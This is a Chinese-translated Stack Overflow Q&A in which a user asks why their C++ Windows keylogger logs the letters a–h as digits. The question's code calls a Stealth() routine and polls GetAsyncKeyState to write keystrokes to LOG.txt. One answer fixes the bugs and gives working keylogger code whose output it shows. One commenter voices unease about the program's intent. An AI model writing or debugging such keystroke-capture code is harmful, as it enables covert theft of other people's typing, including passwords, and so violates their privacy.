【问题标题】:c++ keylogger not working correctc ++键盘记录器无法正常工作
【发布时间】:2015-04-10 21:27:11
【问题描述】:

我访问 stackoverflow 已经有一段时间了,这是我在这个网站上的第一个问题 :) 我正在尝试编写一个键盘记录器,它将按下的键保存在 .txt 文件中,但问题是这样的。我用 cout 检查了 cmd.exe 上的输出,发现它工作正常,但是当我打开 LOG.txt 文件时,我看到程序将 abcdefgh 打印为 012345678。只有这些非大写字母不起作用。每个其他密钥都在文件中正确打印。 这是我的主要功能:

int main()
{
Stealth();
//Focus();
char i;
while (1)
{
    for(i = 8; i <= 255; i++){      
        if (GetAsyncKeyState(i) == -32767){     
            i=_getch();
            cout << i << endl;
            Save(i,"LOG.txt");
        }
    }
}
system("pause");
return 0;
}

保存功能:

int Save(int key, char *file)
{   
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
*(determining special conditions like ENTER,SPACE...)*
*...*
*...*
else
fprintf(OUTPUT_FILE, "%s", &key);
fclose(OUTPUT_FILE);
return 0;
}

【问题讨论】:

  • 一想到你程序的意图,我就有点害怕......话虽如此,真是有趣的话题。 +1
  • fprintf(OUTPUT_FILE, "%s", &amp;key); 看起来有各种各样的错误,因为 key 是一个 int。你可能想要%c 而不是&amp;。
  • 看起来你偷了这个问题的代码? stackoverflow.com/questions/29200195/…
  • @BenVoigt 不,我没有。不过我看到了这个问题。
  • 我认为在某处可能有这样的键盘记录器在线教程。这是另一个类似代码的问题:stackoverflow.com/questions/15392731/c-simple-keylogger?rq=1

标签: c++ windows winapi file-io keylogger


【解决方案1】:

到目前为止,我发现一件事情错了,还有几件事我会做不同的事情。首先,我认为我不会在每次写入单个字符时打开和关闭文件。

第二个(错错),是你调用fprintf指定一个字符串%s并给它一个整数指针&amp;key。一个简单的解决方案应该是fprintf(OUTPUT_FILE, "%c", (char)key),尽管存在更优雅的解决方案来放置单个字符,即putc。

【讨论】:

  • 我试过了,但没有成功。奇怪的是,唯一的问题是从 a 到 h
  • 您不需要将key 转换为char,因为%c 实际上需要一个整数值,它只是将其解释为一个字符。事实上,可变参数函数中的 char 参数将被提升为 int。
  • @rodrigo 在任何一种情况下,指向整数的指针都不是字符,在这种情况下也不是有效的字符串。
【解决方案2】:

恕我直言,您在这段代码中有一个主要问题:您使用i 作为循环索引,并在循环中更改其值。

另一个问题是您的Save 函数完全错误。

在我自己的盒子上,以下代码正确显示了按下的键,并将它们记录到文件LOG.txt:

int Save(int key, char *file)
{   
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a");
fprintf(OUTPUT_FILE, " %c (%02x)", key, key);
fclose(OUTPUT_FILE);
return 0;
}

int main()
{
//Stealth();
//Focus();
char i;

// truncate log file
fd = fopen("LOG.txt", "w");
fclose(fd);
while (1)
{
    for(i = 8; i <= 255; i++){      
        if (GetAsyncKeyState(i) == -32767){     
            //i=_getch();
            cout << i << endl;
            Save(i,"LOG.txt");
        }
    }
}
// system("pause"); never used ...
return 0;
}

当然,我必须按 Ctrl-C 或 Ctrl-Break 才能停止程序,非字母数字键显示奇怪的符号...

但是当我输入 ABCDEFGH012345678 然后 Ctrl-C(不使用数字键盘)时,我在 LOG.txt 中得到了预期的结果:

A (41) B (42) C (43) D (44) E (45) F (46) G (47) H (48) 0 (30) 1 (31) 2 (32) 3 (33) ) 4 (34) 5 (35) 6 (36) 7 (37) 8 (38) 。 (11)

表示的最后一个字符是 Ctrl,这里是一个点 .,但实际上是一个正方形 ...

【讨论】:

  • 这样,即使大写锁定关闭,程序也会为我打印大写字母,但感谢文件打开的想法,这比我做的要好得多
猜你喜欢
  • 2019-12-05
  • 1970-01-01
  • 1970-01-01
  • 2014-10-31
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2020-07-09
  • 2017-01-29
相关资源
最近更新 更多